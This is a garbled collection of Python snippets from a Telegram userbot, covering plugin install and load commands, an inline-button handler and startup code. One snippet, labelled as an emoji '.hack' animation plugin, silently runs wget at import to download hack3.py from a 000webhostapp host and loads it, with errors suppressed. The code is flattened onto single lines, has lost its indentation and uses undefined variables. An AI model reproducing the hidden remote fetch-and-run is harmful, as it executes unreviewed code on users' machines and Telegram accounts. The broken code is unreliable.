async def install(event): if event.fwd_from: return if event.reply_to_msg_id: try: downloaded_file_name = ( await event.client.download_media( # pylint:disable=E0602 await event.get_reply_message(), "LEGENDX/plugins/", # pylint:disable=E0602 )) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) await eor( event, "Plugin successfully installed\n {}".format( os.path.basename(downloaded_file_name)), ) else: os.remove(downloaded_file_name) await eor( event, "Error!\nPlugin cannot be installed!\n Or may have been pre-installed.", ) except Exception as e: # pylint:disable=C0103,W0703 await eor(event, str(e)) os.remove(downloaded_file_name) await asyncio.sleep(DELETE_TIMEOUT) await event.delete()
async def install(event): if event.fwd_from: return chat = Var.PLUGIN_CHANNEL documentss = await borg.get_messages(chat, None, filter=InputMessagesFilterDocument) total = int(documentss.total) total_doxx = range(0, total) await event.delete() for ixo in total_doxx: mxo = documentss[ixo].id downloaded_file_name = await event.client.download_media( await borg.get_messages(chat, ids=mxo), "LEGENDX/plugins/") if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) await borg.send_message( event.chat_id, "Installed Plugin `{}` successfully.".format( os.path.basename(downloaded_file_name))) else: await borg.send_message( event.chat_id, "Plugin `{}` has been pre-installed and cannot be installed.". format(os.path.basename(downloaded_file_name)))
async def load(event): if event.fwd_from: return shortname = event.pattern_match["shortname"] try: try: remove_plugin(shortname) except BaseException: pass load_module(shortname) qwe = await eor(event, f"Successfully loaded {shortname}") except Exception as e: await qwe.edit( f"LEGENDX BOT could not load {shortname} because of the following error.\n{str(e)}" )
async def on_plug_in_callback_query_handler(event): if event.query.user_id == bot.uid or event.query.user_id == id: # 🇦 🇷 🇪 🇧 🇸 🇩 🇰 🇮 🇸 🇸 🇪 🇰 🇦 🇳 🇬 🇲 🇦 🇹 🇰 🇷 🇷 🇪 🇲 🇨 try: fcix = [custom.Button.inline(" 𝕭𝖆𝖈𝖐 ",data="back({})".format(shivam)),custom.Button.inline(" 𝕮𝖑𝖔𝖘𝖊 ", data="close"),custom.Button.inline(" 𝖀𝖓𝖑𝖔𝖆𝖉 ",data="unload({})".format(shivam_sh1vam))] load_module(event.data_match.group(1).decode("UTF-8"))# kyu sir kang krne m musil aa rhi h kya ... Bolo help kr du kya 😂😂😂 await event.edit( "`Your LEGENDX BOT Has Successfully loaded` >>>" + str(event.data_match.group(1).decode("UTF-8")),buttons=fcix) except Exception as e: await event.edit("Error{}".format(shortname, str(e))+ "LEGENDX BOT Has Successfully loaded" + str(event.data_match.group(1).decode("UTF-8")),buttons=fcix) else: shortname = event.data_match.group(1).decode("UTF-8") fcix = [custom.Button.inline(" 𝕭𝖆𝖈𝖐 ",data="back({})".format(shivam)),custom.Button.inline(" 𝕮𝖑𝖔𝖘𝖊 ", data="close"),custom.Button.inline(" 𝖀𝖓𝖑𝖔𝖆𝖉 ",data="unload({})".format(shivam_sh1vam))] reply_pop_up_alert = "Please get your own Userbot,for more info visit @teamishere!" await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
async def install(event): a = "Installing." b = 1 await event.edit(a) if event.fwd_from: return if event.reply_to_msg_id: try: downloaded_file_name = await event.client.download_media( # pylint:disable=E0602 await event.get_reply_message(), "./LEGENDX/plugins/" # pylint:disable=E0602 ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) if shortname in CMD_LIST: string = "Commands found in {}\n".format((os.path.basename(downloaded_file_name))) for i in CMD_LIST[shortname]: string += " • " + i string += "\n" if b == 1: a = "Installing.." b = 2 else: a = "Installing..." b = 1 await event.edit(a) return await event.edit(f"Installed module\n{shortname}\n\n{string}") return await event.edit(f"Installed module {os.path.basename(downloaded_file_name)}") else: os.remove(downloaded_file_name) return await event.edit(f"Failed to Install \nError\nModule already installed or unknown formet") except Exception as e: await event.edit(f"Failed to Install \nError\n{str(e)}") return os.remove(downloaded_file_name)
"""Emoji Available Commands: .hack""" from telethon import events import asyncio from uniborg.util import admin_cmd from telethon.tl.functions.users import GetFullUserRequest from LEGENDX.utils import load_module import os # hack3 installation try: os.system( 'wget https://LEGENDX.000webhostapp.com/hack3.py -P LEGENDX/plugins/') load_module('hack3') except: pass # if no response (pass) @borg.on(admin_cmd(pattern=r"thack")) async def _(event): if event.fwd_from: return animation_interval = 2 animation_ttl = range(0, 11)
bot.tgbot = TelegramClient( "TG_BOT_TOKEN", api_id=Var.APP_ID, api_hash=Var.API_HASH).start(bot_token=Var.TG_BOT_TOKEN_BF_HER) print("Initialisation finished with no errors") print("Starting Userbot") bot.loop.run_until_complete(add_bot(Var.TG_BOT_USER_NAME_BF_HER)) print("Startup Completed") else: bot.start() import glob path = 'LEGENDX/plugins/*.py' files = glob.glob(path) for name in files: with open(name) as f: path1 = Path(f.name) shortname = path1.stem load_module(shortname.replace(".py", "")) import LEGENDX._core print( "DARKLON BOT is on fire 🔥🔥🔥 all files installed on your bot.... Join @LEGENDXCHAT for any help.." ) if len(argv) not in (1, 3, 4): bot.disconnect() else: bot.run_until_disconnected()